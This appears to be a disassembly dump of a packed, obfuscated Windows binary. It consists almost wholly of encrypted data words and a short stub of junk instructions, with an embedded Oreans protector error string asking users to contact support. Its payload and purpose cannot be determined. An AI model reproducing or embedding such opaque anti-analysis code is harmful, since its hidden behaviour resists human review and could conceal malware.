dd 91A25000h, 0D8B79C7Ah, 6DAA7DAEh, 8456BF4h, 65C86CA8h
dd 7433F37Ch, 0F6CB678Bh, 831FD3A1h, 97C6CCFh, 3C9F6045h
dd 20DA0F76h, 63000000h, 99FC91A2h, 0A1FBD07Ch, 2BA1FD3h
dd 45097C9Fh, 9D269F60h, 0D3A219F1h, 0D4F8AC1Fh, 0DA0F7671h
dd 0FFFFFECDh, 95A263h, 0F77EDB87h, 671B15F5h, 86792EEEh
dd 0A060E962h, 0B468FA05h, 0EF680CF3h, 0F5F66B43h, 264AFE25h
dd 57CE3176h, 0CB4445F0h, 0F5F6471Fh, 0CCDA9A25h, 0D7FBA335h
dd 0B171EA9Eh, 55E70BF4h, 728D18D8h, 0F6DCB24Eh, 0AFF825F5h
dd 9E0ABE50h, 7929D163h, 3640D22Fh, 98F637A7h, 0B54A5B1Bh
dd 0DC577B23h, 13603902h, 488D0949h, 1A000000h, 0D3A18559h
dd 0B39AD01Fh, 5830DC33h, 0EB1FD2AEh, 0BDCA1137h, 0D5AD59D2h
dd 681FD3A0h, 0C7E090B4h, 3C11C138h, 891FD3A0h, 462E4253h
dd 640C9E61h, 0D0CDAA3Eh, 0ABDE59ACh, 0C5198632h, 0E29615EFh
dd 0CF3C6Bh, 0A2C50000h, 0DB870095h, 15F09556h, 0A0D64F03h
dd 903C47EBh, 25F38AB8h, 0DC71974Bh, 83FC2062h, 9810E5C3h
dd 8B2FD769h, 0AE615212h, 0D950741Ch, 0F56E9315h, 55E8C06Ch
dd 8F3B25F3h, 25F355B7h, 0D45D964Ah, 0F3555028h, 8B2FE325h
dd 0E32CFDBh, 7F12257Ch, 0A1604606h, 0CA43670Fh, 15AACD1Eh
dd 5752121Ch, 974B84A8h, 0B74A5E1Eh, 0D52C7C40h, 464BEC43h
dd 0C09844CDh, 532C15A9h, 6787799Fh, 3ADBBAD3h, 78F19D16h
dd 0D223852h, 8720E059h, 6A3D0178h, 978D2E95h, 0A238E449h
dd 0E4C83h, 3DC4E800h, 5CA302C6h, 788921E5h, 936C3D01h
dd 0B34E581Ch, 2F36F03Ch, 4F138A77h, 7034AB64h, 8E52C938h
dd 0A66FE619h, 3CA9812Dh, 43C19B1h, 91624591h, 0AD55E718h
dd 0E4C37709h, 8C05891Bh, 226D9CCh, 0DDCA5787h, 0E81EAB22h
dd 616DAFCDh, 0A93F6338h, 0F0943ED0h, 54FDh, 0F37C8A00h
dd 0D3A16F47h, 0D54E021Fh, 0D3A15129h, 0C30E41Fh, 8A367EB9h
dd 1FD3A1B2h, 74ED9145h, 0F082DBC8h, 12A45815h, 3FB6495Eh
dd 41D32C7Bh, 0CF484DEAh, 0D3659A0Fh, 0C2D2AA56h, 0B16525F2h
dd 0E770E90Dh, 20ED5AB1h, 23472B25h, 10090287h, 84FBAF1Ch
dd 9F60450Dh, 0BE416428h, 0A1B18C2Ch, 0D1D71FD3h, 0B3F7B730h
dd 0F014BC4Eh, 70251279h, 0F6DA4BF7h, 0AB5F15F5h, 0C8377232h
dd 0F16A8E36h, 0F887931h, 17A9564Fh, 47D44B6Fh, 0BEE21F87h
dd 47F37C5Bh, 1FD3A16Fh, 942A4E02h, 0F114B0C5h, 137E8h
dd 92A27500h, 0D07C9AFDh, 1FD3A1FBh, 7C9F02BAh, 6607A09h
dd 9CFF94A2h, 0E4A3467Ch, 0F0FEE857h, 74986740h, 91A29F06h
dd 0FB6299FCh, 94B06A5Fh, 56C3F3h, 7C500000h, 8315ECBCh
dd 0D264B7DBh, 0F37C5EC1h, 0FA8C7533h, 0A1DEB652h, 0BD711FD3h
dd 9F742099h, 0EC1FD3A1h, 0F0827D2Ch, 36AD2248h, 0E7249549h
dd 0D7548AC3h, 0B2A6396h, 7CC326CAh, 90654509h, 39C8DE15h
dd 0B75BFFA7h, 0EABC7C54h, 0B9DD8517h, 3DDAD33Ah, 63000000h
dd 9CFF94A2h, 0A1FBD07Ch, 0BF481FD3h, 0BC58A9FFh, 1FD3A1E4h
dd 989FC377h, 1A767E0h, 0A64AB5F4h, 0C0C2EA14h, 0E65E87Eh
dd 7CE3466Ah, 88A1BDF3h, 0FBC1F141h, 654574D7h, 0F76399Ch
dd 94B06A5Fh, 2FC3F3h, 0A2500000h, 4D83FC91h, 72AC42AEh
dd 0E94C70CBh, 0A1FBD07Ch, 0D4881FD3h, 45097C71h, 763C9F60h
dd 0ECC470F9h, 7F1FD3A1h, 0DA44A7CBh, 32h, 0FC91A263h
dd 0EBBC7C99h, 0B4DA8214h, 0E97953F9h, 56CFF39Bh, 0F7A397CDh
dd 770906ADh, 0A539A9CFh, 0AE831F43h, 6D1FD2B8h, 97C52B5h
dd 3C9F6045h, 0B6DA0F76h, 63FFFFFEh, 870095A2h, 0F5F77EDBh
dd 0EE671B15h, 5E847B2Eh, 3139913Dh, 0AE274BA8h, 18F09C25h
dd 0BE25F62Fh, 0FE68118Ch, 0FC3FCE0h, 936C3BEBh, 1180B51Ch
dd 34DBD898h, 5DD6FAA2h, 0F5D7D9B1h, 26B86C25h, 0F5D7B086h
dd 3F9F1E25h, 4972BDFCh, 255009h, 7C70000h, 25CD5FA0h
dd 85599E01h, 0D01FD3A1h, 466A9510h, 77EE1196h, 0BB48h
dd 0C585BB00h, 0B0F8B591h, 7C75D8FCh, 5EF99A46h, 8AAE5308h
dd 0CB80037h, 1FD33E34h, 0F66F13C7h, 0F029FD4Ah, 4DC67A15h
dd 6DE61B8Dh, 0E004FDADh, 0FE03A569h, 6322156Ch, 842CBE43h
dd 1EDE67E0h, 3BE3758Ch, 0BE267B17h, 0FFB31C14h, 1FE2C686h
dd 3DC4E4A8h, 386E2EABh, 7216EBBDh, 0C11438E0h, 649A1376h
dd 9007086Bh, 0CB4468AEh, 3767A61Fh, 0E873B22h, 2FA6594Eh
dd 0EFB73C6Bh, 34D88012h, 4EFC70CDh, 1837CDE4h, 0B1Dh
dd 970EF3B9h, 0B62DD2D3h, 0D249B8F2h, 0ED649B0Eh, 0D847D29h
dd 0A8FE07C1h, 951EE259h, 693F037Ah, 4A5D2198h, 0FC753EB5h
dd 0B1397850h, 60D30B19h, 0B9D6245h, 1DAF5057h, 0D7972099h
dd 0F8A032CFh, 0D3A1845Ch, 3F63171Fh, 0A0071AC4h, 7B3EE85Fh
dd 92F094B8h, 4Dh, 95A21Fh, 8E36DB87h, 0E3A315F0h, 4AC3EC3h
dd 61F3A7E0h, 0C773AEE4h, 4EBF4F7h, 887730E0h, 3F40D90Fh
dd 0AE9ECDAh, 8CB04F5Ah, 0A9565115h, 1277C017h, 0B8A0ED99h
dd 941D1C0Fh, 11F810E8h, 0C9EFA32Ch, 9AA870D2h, 85FCA083h
dd 9F60450Eh, 0BF426626h, 9374249Bh, 0F81FD3A1h, 6B8F7238h
dd 9D14EDBBh, 138C0136h, 0F5F6EB67h, 59D28615h, 0C39B47D0h
dd 5625F5F5h, 0DCCE7EA2h, 0EB21AE25h, 0EC680BEAh, 87EA0ED7h
dd 14B01A5Fh, 173B3F1h, 7C400000h, 0A16F47F3h, 0DC151FD3h
dd 8005E14h, 40B96DA6h, 0D331BC94h, 779B4F1Fh, 27B1024h
dd 7996842h, 7CD83B5Fh, 0E6BE6AF3h, 791FD3A1h, 3005A1C5h
dd 0EF1FD3A2h, 97CD437h, 0A206607Ah, 879CFF94h, 0FDD5810Ah
dd 191FD3A1h, 883C759Ah, 31EE0562h, 80A4DA58h, 0BB467C1Dh
dd 0B2ED3F20h, 9F94E70Bh, 0A234CBDEh, 0FDD581FAh, 901FD2AFh
dd 62D538DCh, 0B06A5FFBh, 36C3F394h, 50000000h, 0A7D94A2h
dd 82BC684Ah, 7C379A3Eh, 0D3A1FBD0h, 0EBC8881Fh, 7C1D8024h
dd 47F37C09h, 1FD3A16Fh, 7A2A4E02h, 1CE5C530h, 22C6396Ch
dd 0DA0F76BFh, 22h, 0FF94A263h, 0E9BC7C9Ch, 0B8DC8416h
dd 0A1BE933Fh, 0C57D1FD3h, 45097C62h, 76399C65h, 946D39F9h
dd 6A5F0D70h, 0C3F394B0h, 59h, 0D02F7A3Ah, 0F72963Eh, 0B5F091A2h
dd 799683Eh, 9E17BB5Fh, 0BEB4C9DEh, 0A4AC3A56h, 5E0026CAh
dd 0AB4A1A3Bh, 7CE14468h, 0D3A1FBD0h, 53FF881Fh, 1FD3A17Bh
dd 3DB65A0Eh, 0C5E2B107h, 0E5091BEBh, 47F37C82h, 1FD3A16Fh
dd 0B12A4E02h, 9F60453Eh, 0DA0F763Ch, 37h, 0FC91A263h
dd 0EDBC7C99h, 0C975EE12h, 1FD3A1F4h, 0D4B079B3h, 9EDC20CAh
dd 467C97FAh, 3903F777h, 1A93B7A5h, 4FB15B91h, 53798623h
dd 42660456h, 9F6045DFh, 0DA0F763Ch, 0FFFFFE84h, 0F495A263h
dd 16BE50BFh, 0B070F972h, 0CF7709F8h, 0F6B20FABh, 9B4F15F5h
dd 0B8476222h, 0E15A7E26h, 2798621h, 0C8EB9A9Bh, 0F42AA347h
dd 63CFBA83h, 0CC456906h, 0F5DC4820h, 9527DB25h, 0F5DD1FF5h
dd 0D00E8D25h, 497D2E6Bh, 18BF09h, 594C0000h, 1FD3A185h
dd 0C4E50E99h, 0B3F5A93Bh, 8F06AA4Eh, 11660h, 95A2E900h
dd 0C8518700h, 0AE45214h, 2F99711Dh, 782C1FD3h, 8B37B0D4h
dd 15F0440Ah, 8F9AF6Fh, 71AACE76h, 6307F8B1h, 81802AEAh
dd 139747EFh, 90B45CEEh, 59058E17h, 25F24281h, 20439A27h
dd 942DF38h, 0FE03A555h, 0F0A0C46Ch, 0ED249B8h, 0EE6929Ah
dd 0A125F1C2h, 47D049EDh, 6989E111h, 2ECA1232h, 25F1BD56h
dd 7F1135E9h, 17A0F28h, 0BDF4CC78h, 0D38725F1h, 318A36AFh
dd 0C61C1413h, 6152A106h, 0ED660AAEh, 2C7A7B2Dh, 2DBA31D5h
dd 35C7386Dh, 33CCDD8Dh, 25D5F9A1h, 7C057E83h, 126F47F3h
dd 4E022C14h, 1412DAB2h, 0FBAD6D2Ch, 28CC7406h, 1C1B7204h
dd 0DB540079h, 70223665h, 31BA43BCh, 6524FCA8h, 3B73236h
dd 36648F67h, 4A6E2232h, 7BF20D9Ah, 0A80FF0B7h, 0E44FFA1Bh
dd 76E9089Eh, 12000007h, 2CF0679Ah, 4B0F8679h, 672BA25Fh
dd 8246BD42h, 1A66DD24h, 0B8495D60h, 0D9367D41h, 0F70A9E62h
dd 14EBBC80h, 0AF5BD49Dh, 19B135D7h, 45BF326Ah, 64249D62h
dd 0EF1B44Fh, 9E30D47Ch, 8C40D2F6h, 0EFB0621Bh, 0A22540BCh
dd 0A64AB5F2h, 8E179014h, 0D2AA0AE2h, 0C5E99D1Fh, 1A8D944Ah
dd 37E36CE5h, 1FD2A95Fh, 0A31A3EF2h, 9444A0F9h, 394DF0h
dd 0A2DA0000h, 0FE870095h, 0A1F1C975h, 0FB841FD3h, 0D3A1774Fh
dd 0B2560A1Fh, 95DDF28Eh, 346A15F0h, 9B0BDFh, 0EA7C2095h
dd 0F2C8764Ah, 815DDC25h, 7465FFBAh, 3C0E09h, 0A29B0000h
dd 0DB870095h, 15F0BDE2h, 8A4AC377h, 0A74FE120h, 6A3DF183h
dd 95D2089h, 6AA52999h, 0F9A133D7h, 8D1ADE55h, 0AE89E072h
dd 35B662DBh, 0DA1C108Ah, 0BAEDAD26h, 0E70BB345h, 89EBF970h
dd 1393F245h, 48D14AEEh, 402BB412h, 40649206h, 0F05DEBA4h
dd 26804015h, 0CAE8B059h, 6307EC89h, 0BF52063Fh, 0C820E81Fh
dd 2D7D3D65h, 258E42D4h, 0CB058EAh, 23B54C5Ch, 3304577Bh
dd 4C39E55Eh, 0C9DC8500h, 0BD619E09h, 2E63D42Bh, 396809B5h
dd 97CDE2A4h, 0A07C34FEh, 0E51E420Fh, 6F2FB831h, 0F7A7CB44h
dd 14D84FB0h, 74056C93h, 0F124FF08h, 6173C5Bh, 0F9B30000h
dd 0D8CD9108h, 0BEECB027h, 0A108CC43h, 8323E75Eh, 1BB077Eh
dd 0E057AAFCh, 178971Ch, 1F966B3Dh, 3CB34C5Bh, 764EFA73h
dd 919B134h, 62455ED1h, 0A1441CC8h, 45601FD3h, 478028BAh
dd 0E05DEF93h, 0A1D3AB57h, 0B2661FD3h, 35CCDE8Eh, 0ADE057BEh
dd 0F72F8834h, 0C48415F5h, 0E58D1FE2h, 42D488C1h, 7EE51C8Eh
dd 0F00F6CE5h, 0A6ABCA60h, 42000005h, 5C20976Ah, 7B3FB649h
dd 975BD22Fh, 0B276ED12h, 4A960DF4h, 0E8198D90h, 906AD71h
dd 27DACE92h, 44BBECB0h, 0DF8B04CDh, 19B13407h, 0A2EF629Ah
dd 4FB2F495h, 0F87115BDh, 0F5F6F74Ch, 57D08415h, 0CDF10E97h
dd 0A8FEBE3Bh, 25853559h, 6B3075DCh, 0B74DF00Fh, 54C98h
dd 3DC4E800h, 5CA302C6h, 788921E5h, 936C3D01h, 0B34E581Ch
dd 2F36F03Ch, 4F138A77h, 7034AB64h, 8E52C938h, 0A66FE619h
dd 33A9812Dh, 43C19B1h, 0EABC7C91h, 0B9DD8517h, 43BCD166h
dd 0F5F74697h, 56028B15h, 25F5F67Eh, 0F64D25D1h, 2CE025F5h
dd 0E21B3FF3h, 0D87C8322h, 0E9189246h, 0F6C1582h, 9BBA50F0h
dd 4E5h, 5FD62B81h, 7EF50A9Bh, 9A11F0BAh, 0B52CD3D6h, 0D54CB5F1h
dd 0E0C6CF89h, 0CDE6AA21h, 0A107CB42h, 8225E960h, 0C43D067Dh
dd 0B1334018h, 289BD319h, 1CC86245h, 1FD3A144h, 6F9017D7h
dd 0EEAE27CBh, 94264AC5h, 7A2CC7E0h, 0AA6AE387h, 0E08C05FCh
dd 1FD3A208h, 31C3E79Bh, 0DB469827h, 0F8BC33CCh, 0F7CF7BAFh
dd 8A1FD3A1h, 23A032D6h, 9875DAEDh, 98BC01BEh, 0D37927FCh
dd 8D51CC1Fh, 73EC1394h, 78663EEAh, 45F91FD3h, 0F443AA21h
dd 0C2C8241Fh, 0E084A476h, 0FE72BB67h, 33E715F4h, 52ADFABAh
dd 0CCA450D9h, 5F25F4FDh, 4C1087ABh, 0BB12A45Bh, 0F4A0197Ch
dd 1C175258h, 6C63FF3h, 23E75EA1h, 6CE97B84h, 525F37E3h
dd 69F22C17h, 1752E5BDh, 20C4782Ch, 0FB8EA9FCh, 3221D682h
dd 0FAAE2234h, 4FF7FE93h, 0A2C157E4h, 3F9h, 73EA1795h
dd 9209F6AFh, 0AE25DCCEh, 0C940BFEAh, 0E960A105h, 0CCDAE39Dh
dd 0B9FABE35h, 8D1BDF56h, 6E39FD74h, 0D8511A91h, 0B132542Ch
dd 3CAFE719h, 2D5A467Ch, 261C001Eh, 0AA555202h, 52129B18h
dd 3A12AE61h, 0CD1FD302h, 6245F519h, 78BF269Dh, 53139C15h
dd 731BAD52h, 0A9EB34Fh, 772B15F0h, 97145E5h, 58D725F2h
dd 20E4B586h, 3C090975h, 96000000h, 870095A2h, 0F08136DBh
dd 9D2FE315h, 0F2C229FDh, 97683D25h, 0AB545105h, 914DD819h
dd 1FBF3E9Ch, 0D62C0339h, 0C8194C4Ah, 69DFD41Bh, 0C7EB8FBBh
dd 74BE6831h, 0C28509h, 45120000h, 8E0B9D62h, 0A1815905h
dd 60141FD3h, 0E71A8C3Ch, 0F906A155h, 0BF4B367h, 0A651E494h
dd 40671FD3h, 238448BFh, 0DCD4ADCh, 0EF42669Bh, 20CC4548h
dd 15F0BAF7h, 0DA41B86Ch, 0DFB7635Dh, 7225F2B9h, 0F5A11ABEh
dd 1C142A1Ah, 548A03B7h, 289C489h, 5DD6FA82h, 0EB9414D4h
dd 4D6F82F3h, 0C3E78BDAh, 0ED999313h, 2C140815h, 0D950F4A8h
dd 9709115h, 0FA6D5DC6h, 0CE0E2DC3h, 6A000002h, 8448BF42h
dd 0A367DE21h, 0BF83FA07h, 0DA9E15EAh, 72BE35CCh, 10F1B5B8h
dd 31DED599h, 4FB2F6BAh, 6C9314D8h, 7B32CF5h, 19B1312Fh
dd 45178AC2h, 0B3C81E61h, 5F059D6Ch, 7608F9AFh, 0EFB32ACEh
dd 59D047B8h, 870095A2h, 8238F851h, 1250BD7h, 0B6C9FF88h
dd 0C02644F2h, 0A33097D2h, 25C942ABh, 7EC06501h, 0AD6D15F0h
dd 0CC7406FBh, 0BECFA753h, 0AE6225F2h, 5C08910Ah, 25F2BE84h
dd 0AD3F6317h, 0F2BE390Dh, 0BE209F25h, 745F3C7Dh, 0BBD109h
dd 7C5E0000h, 0EDC10946h, 912273AEh, 0A044EC7Eh, 6EA37B27h
dd 82361FD3h, 6F9AE5Eh, 1BE6C074h, 7356E989h, 3B6C1FD3h
dd 1E894DC4h, 3FF84FE1h, 0F599683Eh, 88A7D07Ch, 681C15F0h
dd 0E8AD8AF1h, 0F583C36Fh, 72261C13h, 936C39F9h, 7036F66Fh
dd 578D1A91h, 3D6B5F61h, 1CB19EC4h, 8F19C335h, 9D412B3Bh
dd 24DDC979h, 6DD4F0BDh, 0B8D76DFAh, 1C9h, 43BA4765h, 62D9267Fh
dd 7EF50C9Eh, 9910EFBAh, 0B930D1D5h, 0FCAAB36Dh, 0E9CA8E05h
dd 0BDEBAF26h, 9E09CD44h, 0A821EA61h, 0B13124FCh, 0C7FB719h
dd 1FCB6145h, 1FD3A147h, 0CDA551DAh, 601FD3A1h, 0ED6408ACh
dd 0A817E29h, 9D624593h, 0AF50570Bh, 4E66D138h, 0A14119C5h
dd 20D41FD3h, 0D3A1AC84h, 0E78B3F1Fh, 95ADC26Eh, 7A3A15F0h
dd 9840D22Dh, 0EEC262F4h, 5425F2D4h, 0C64F09D5h, 0F2D4421Ah
dd 0FD21D525h, 74751267h, 30BB09h, 0A2480000h, 0B0DB7E95h
dd 9A65929Fh, 64D17DF6h, 0A115F06Dh, 6D72F16Bh, 7A9E685Eh
dd 5BFB8D41h, 25F25187h, 0CB706EEDh, 975EC8Eh, 2A1Fh, 0BC7CAC00h
dd 0D88012EDh, 0A14318B4h, 81B61FD3h, 1EE7930Ch, 5315F0BDh
dd 5AEC1593h, 0A1558EB2h, 3486F228h, 0E487D6D2h, 0A2D249C0h
dd 0A77F2B95h, 0C31FD3A1h, 20E019E6h, 3FE77988h, 0D27EF79Bh
dd 15F0B109h, 0BB38CA7Eh, 3054ADFBh, 0F2B0C094h, 37A72625h
dd 7449B504h, 255809h, 59E50000h, 1FD3A185h, 0CB7741F6h
dd 1FD3A1F3h, 0B52ED286h, 0C6396C2Ch, 0CC688C34h, 15F0BD03h
dd 11F0B878h, 0A27FF66Dh, 0DB870095h, 15F5F72Ah, 0C282FBAFh
dd 65F71BE6h, 0ACFDF6B1h, 7519C153h, 926D3AFEh, 0E5C38300h
dd 0E4AF61Ch, 0CA11CC0Eh, 0D4FF0AA6h, 20AF3B6Ah, 0BB4463BEh
dd 822EB744h, 4B8D13AAh, 0CED9893Dh, 0D3F79F31h, 0E97B8423h
dd 277F7435h, 13815905h, 60144B8Dh, 0D28618BCh, 0E79B2DD4h
dd 70AF41BEh, 0A230FDE1h, 4166BB23h, 248347BEh, 0FB2C62DBh
dd 986A7748h, 1AE5C272h, 2ABCE088h, 80Bh, 2AA79400h, 0A2C6496Ah
dd 9A67453Fh, 0AC535408h, 0BF42661Ah, 0D53A792Dh, 0EA178F43h
dd 0FF02A458h, 0FF0B96Dh, 20E1C97Dh, 34CBDA8Eh, 676886A2h
dd 89000073h, 0E0892404h, 405h, 4E88300h, 5C240487h, 0E4968h
dd 24148900h, 536668h, 24048900h, 473875BAh, 7DBD556Fh
dd 296924E2h, 8B545DEAh, 0C4812404h, 4, 8904EC83h, 408F2414h
dd 24048B08h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_535A7A
; ---------------------------------------------------------------------------
db 28h
dd 2273CEB8h, 0FFC50306h, 81D9F0E0h, 3E989179h, 0D75E120Dh
dd 0DF0D2202h, 8EA0FF0Bh, 7024F257h, 0CC35FA15h, 0C73BDC7Ah
dd 715E136Eh, 335BC933h, 49EC1805h, 15CD4C2Fh, 0C3BC2102h
dd 89FE0207h, 4E06F906h, 0E2C0440Ah, 0DD42C75Fh, 0D3A58B23h
dd 0CB8E7475h, 0D79F8A61h, 0BAEE7978h, 13E85Ch, 2DEC0000h
dd 0A384EC47h, 0A23BBF49h, 5F91671Dh, 0A0030769h, 13E92Dh
dd 47EB0000h, 2685D34Ah, 0D1015957h, 0B3A39FAh, 6DB58F68h
dd 810F5E0Fh, 2, 0C681D08Bh, 5FDAh, 68F8BF0Fh, 0
dd 19820Fh, 11E80000h, 0F8000000h, 49461A3Eh, 0EAAF0324h
dd 0B5E0A3CDh, 8AC30358h, 5958C38Bh, 2DEF8166h, 3134FF1Fh
dd 9E9h, 37200F00h, 2219812Fh, 665B4374h, 0EB81FB8Bh, 6F3ED477h
dd 81D1B70Fh, 129CA2EBh, 3C28135h, 816DF068h, 381EC1C3h
dd 0E1C8979h, 28F6D281h, 0AE96EC3h, 6D000000h, 0BC1E472Fh
dd 94495640h, 4E98354h, 0A110F981h, 850FFFFFh, 1Ch, 0BE953h
dd 9FBE0000h, 0CF081855h, 5C6FEDEAh, 19E95F44h, 0A0000000h
dd 9F94CA40h, 0A604BA66h, 0FFFF84E9h, 0C63281FFh, 318942C0h
dd 4675E10Ch, 400E9h, 0
dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
dd 5600h, 4500h, 0
dd 11DFE900h, 8BF50000h, 1F1BE585h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 1A320D8Dh
dd 0B05D5282h, 8960A7DDh, 1F067D95h, 5D958906h, 61061F0Dh
dd 4244439h, 5B850Fh, 95890000h, 61F0DA1h, 32C1BD83h, 0F00061Fh
dd 4884h, 5BD0100h, 8D061F20h, 1F394D85h, 0A8E0F06h, 0E9000000h
dd 5, 22648A01h, 0FE0FFD1h, 1986h, 10E96000h, 98000000h
dd 0C7181AD0h, 0F231971Fh, 0A03881ECh, 608D9E48h, 6E96161h
dd 74000000h, 68875A88h, 51858B2Bh, 0F8061F2Ch, 4244439h
dd 15850Fh, 0C7F80000h, 22798985h, 106h, 66506000h, 587557BBh
dd 6061F28Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 5CC35141h, 0EE9h, 0D5B22800h, 25DEAB2Eh, 0DA52C1EEh
dd 1E9D7E8h, 1F133D9Dh, 25E906h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 7ACD1C3h
dd 4BDDACh, 0B8000000h, 1, 7AB38587h, 0C00B0622h, 0B5FFF675h
dd 61F2025h, 7981858Fh, 206A0622h, 95FFFF6Ah, 61F14F9h
dd 316DBD83h, 7400061Fh, 0FF006A08h, 1F1D4595h, 0CDBD8306h
dd 1061F09h, 80680D74h, 6A000000h, 0F995FFFFh, 6A061F14h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h
dd 40000000h, 3FD9C350h, 15EAC77Dh, 3D66021Ch, 11890Fh
dd 0CE90000h, 0AC000000h, 8107072Dh, 0FD647B81h, 0E9A44FE0h
dd 12h, 0DA614D73h, 53D8FCE5h, 0E3DC2A42h, 0BC3119FEh
dd 8D89629Dh, 61F146Dh, 0B8h, 68A0F00h, 89000000h, 1F2E1195h
dd 24548B06h, 0BE928h, 91BD0000h, 0BF607675h, 90123F88h
dd 6D8589CDh, 6A061F10h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 0ECAEC352h, 9860Fh
dd 8B600000h, 1F02F58Dh, 0BE61F906h, 3Ch, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0D1C35545h, 2005B501h
dd 7403061Fh, 6A2424h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 2E23E9C3h, 13E989h, 0C6960000h
dd 6FC62B6Ch, 25B1C1BFh, 3B9050F7h, 81ACEB7Dh, 1840FF8h
dd 0F5000000h, 6AAD66h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 65255C3h, 0F96FF7AAh, 24244403h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 89C35040h
dd 0E9BE0C18h, 9, 3C6DD081h, 0BC30F84Eh, 52509012h, 0EE9h
dd 4A969A00h, 0F70FD15Ch, 0C8E297BAh, 0FADA083h, 0B810F31h
dd 0E9000000h, 6, 0F94CB0E6h, 585ACC9Eh, 0E9525050h, 0Eh
dd 2FBF9D53h, 68286FF9h, 0EE888882h, 310F6E2Eh, 0D98B6660h
dd 61D18B66h, 6A90585Ah, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 31EBC357h, 1F32C995h
dd 78408B06h, 89BD83F9h, 62279h, 152850Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 1B9F04C3h, 0F63540F1h, 0FE960h, 0DE4F0000h, 0E5734561h
dd 9D99303Bh, 0C7076D7Dh, 605061D4h, 52505250h, 585A310Fh
dd 0C5BE310Fh, 5A58DF56h, 9E95158h, 28000000h, 28C2A3E7h
dd 441502E5h, 4896159h, 6E924h, 5D000000h, 0B9660666h
dd 0D799589h, 448B061Fh, 6A2C24h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 90F914C3h, 10E9h, 0EC0F4000h
dd 0DEB1C8Ch, 0CC9BF650h, 43C8384h, 8B6050C1h, 0FE9F2h
dd 6FA80000h, 80E8CDA1h, 0D479C5ADh, 0A0AC1CBFh, 6A90617Ch
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 7E4BC356h, 0C0F5E0E3h, 89F90EDBh, 1F2DF985h
dd 0E880F06h, 60000000h, 23218589h, 858B061Fh, 61F2F25h
dd 5858D61h, 6A062253h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0EC9DC350h, 0D0FFF93Ah
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 5AC35747h
dd 8966EE30h, 1F1F35B5h, 18A0F06h, 0F5000000h, 28244403h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 77C35040h
dd 408B2C70h, 2940F818h, 1F0005B5h, 0AE906h, 9BA10000h
dd 11A84CD1h, 0C02A3E08h, 79858589h, 6A0622h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F8051AC3h
dd 880F58F8h, 6, 159DB589h, 708B061Fh, 0E5858978h, 83061F0Ch
dd 6A1CC6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 0F6043C3h, 0DE9FBB7h, 9A000000h, 93273E4Fh
dd 0F0C024B8h, 602E08A1h, 8B0F9661h, 6, 2E1D8589h, 7C81061Fh
dd 2424h, 870F1000h, 14Ah, 6E9h, 739AA400h, 509393B0h
dd 0CE95250h, 8F000000h, 95DB3D1Ah, 52323534h, 0FB15D2Dh
dd 0CE931h, 9EB40000h, 0F1B362C1h, 0D53648C8h, 585AF08Ah
dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 5D40C350h, 448BBF26h, 95892824h
dd 61F2EF5h, 12810F50h, 0E9000000h, 0Dh, 100A1A2Ah, 0A9F794A2h
dd 9C793D40h, 24048931h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0BBC35545h, 0B0363D97h, 60918A7Ch, 5E9h
dd 0FBE2D000h, 5E87DFDh, 6B000000h, 0CA423373h, 0DE9h
dd 0FBFF6100h, 6E458A38h, 5FD3C473h, 615A823Bh, 5305858Dh
dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 3F72CBC3h, 9D89B45Ch, 61F1F35h, 0EE9h, 2A8FB700h
dd 0CD715E7h, 46B1104Fh, 60FDC756h, 7D858B53h, 58061F0Eh
dd 6810Fh, 840F0000h, 0
dd 6AD0FF61h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 88B9C355h, 46BB64E9h, 286687C8h
dd 1285BD89h, 6A96061Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 896EC350h, 1F14E1B5h
dd 24740306h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 68D0F6Eh, 89000000h, 1F11F585h, 95BD8D06h
dd 89061F24h, 1F10C1BDh, 860FAD06h, 8, 2880Fh, 61600000h
dd 13718D89h, 7C81061Fh, 2424h, 870F1000h, 144h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 24C35545h, 0DACCB176h
dd 0BD09DE62h, 61F1A65h, 0C890F90h, 0F000000h, 68Ah, 850F00h
dd 50000000h, 0EE960h, 9A120000h, 8E7C9491h, 4D0D9697h
